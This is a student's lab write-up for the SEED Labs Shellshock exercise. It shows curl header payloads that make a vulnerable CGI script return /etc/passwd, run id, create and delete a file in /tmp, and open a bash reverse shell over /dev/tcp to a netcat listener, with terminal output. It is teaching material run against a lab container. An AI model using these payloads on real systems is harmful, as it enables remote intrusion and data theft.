

HW3: Shellshock attack: exploitation via cgi and reverse shell

3 LabTasks

3.3 Task 3: Launching the Shellshock Attack

Task 3. A: Get the server to send back the content of the /etc/passwd file.

=====

```
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'User-Agent: () { ;; };echo Content-type: text/plain; echo; /bin/cat /etc/passwd ' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
```

=====

Task 3.B: Get the server to tell you its process' user ID. You can use the /bin/id command to print out the ID information.

=====

```
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'Referer: () { ;; }; echo Content-type: text/plain; echo; /bin/id' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

=====

Task 3. C: Get the server to create a file inside the /tmp folder. You need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder.

=====

```
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'Cookie: () { ;; }; echo Content-type: text/plain; echo; /bin/touch /tmp/testfile' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'User-Agent: () { ;; };echo Content-type: text/plain; echo; cd /tmp/; /bin/ls -l' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
total 212
-rw----- 1 www-data www-data 360448 Nov  9 21:45 core
-rw-r--r-- 1 www-data www-data    0 Nov  9 21:45 testfile
```

=====

Task 3.D: Get the server to delete the file that you just created inside the /tmp folder.

=====

```
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'Cookie: () { :; }; echo Content-type: text/plain;
echo; /bin/touch /tmp/testfile' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'User-Agent: () { :; };echo Content-type: text/plain;
echo; cd /tmp/; /bin/ls -l' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
total 212
-rw----- 1 www-data www-data 360448 Nov  9 21:45 core
-rw-r--r-- 1 www-data www-data  0 Nov  9 21:45 testfile
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'User-Agent: () { :; }; echo Content-type: text/plain;
echo; /bin/rm /tmp/testfile' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[11/09/24]seed@VM:Tina$~/.../Labsetup curl -H 'User-Agent: () { :; };echo Content-type: text/plain;
echo; cd /tmp/; /bin/ls -l' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
total 216
-rw----- 1 www-data www-data 360448 Nov  9 21:45 core
[11/09/24]seed@VM:Tina$~/.../Labsetup
```

=====

3.4 Task 4: Getting a Reverse Shell via Shellshock Attack

Step 1: Set up a Listener on Your Machine

On your local machine (the attacker machine), set up a listener using a tool like **nc** (Netcat). This listener will receive the incoming connection from the reverse shell initiated on the target machine.

Run the following command on your local machine, replacing **PORT** with the port number you'll use for the reverse shell:

```
nc -lvnp PORT
```

Example:

```
nc -lvnp 4444
```

```
=====
[11/09/24]seed@VM:Tina$~/.../Labsetup netstat -tuln | grep 4444
[11/09/24]seed@VM:Tina$~/.../Labsetup nc -lvnp 4444
=====
```

Step 2: Craft the Reverse Shell Command

You can use a common Bash-based reverse shell command. Here's an example, but be sure to replace **YOUR_IP** with the IP address of your attacker machine and **PORT** with the port you specified in the listener.

The reverse shell command:

```
/bin/bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1
```

Step 3: Send the Payload Using Shellshock Exploit

Now, use the `curl` command to exploit the Shellshock vulnerability, injecting the reverse shell command into a vulnerable HTTP header like `User-Agent`.

Replace `TARGET_URL` with the URL of the vulnerable CGI script, `YOUR_IP` with your IP address, and `PORT` with the port number you used in the listener.

```
curl -H 'User-Agent: () { :; }; echo Content-type: text/plain; echo; /bin/bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1' TARGET_URL
```

```
=====
[11/09/24]seed@VM:Tina$~ curl -H 'User-Agent: () { :; }; echo Content-type: text/plain; echo; /bin/bash -i >& /dev/tcp/10.9.0.1/4444 0>&1' http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

```
[11/09/24]seed@VM:Tina$~/../Labsetup nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.9.0.80 50630
bash: cannot set terminal process group (29): Inappropriate ioctl for device
bash: no job control in this shell
www-data@d614a2156a1f:/usr/lib/cgi-bin$ ls
ls
getenv.cgi
vul.cgi
www-data@d614a2156a1f:/usr/lib/cgi-bin$
```

Step 4: Gain Access to the Reverse Shell

```
[11/09/24]seed@VM:Tina$~/../Labsetup nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.9.0.80 50630
bash: cannot set terminal process group (29): Inappropriate ioctl for device
bash: no job control in this shell
www-data@d614a2156a1f:/usr/lib/cgi-bin$ ls
ls
getenv.cgi
vul.cgi
www-data@d614a2156a1f:/usr/lib/cgi-bin$ █
```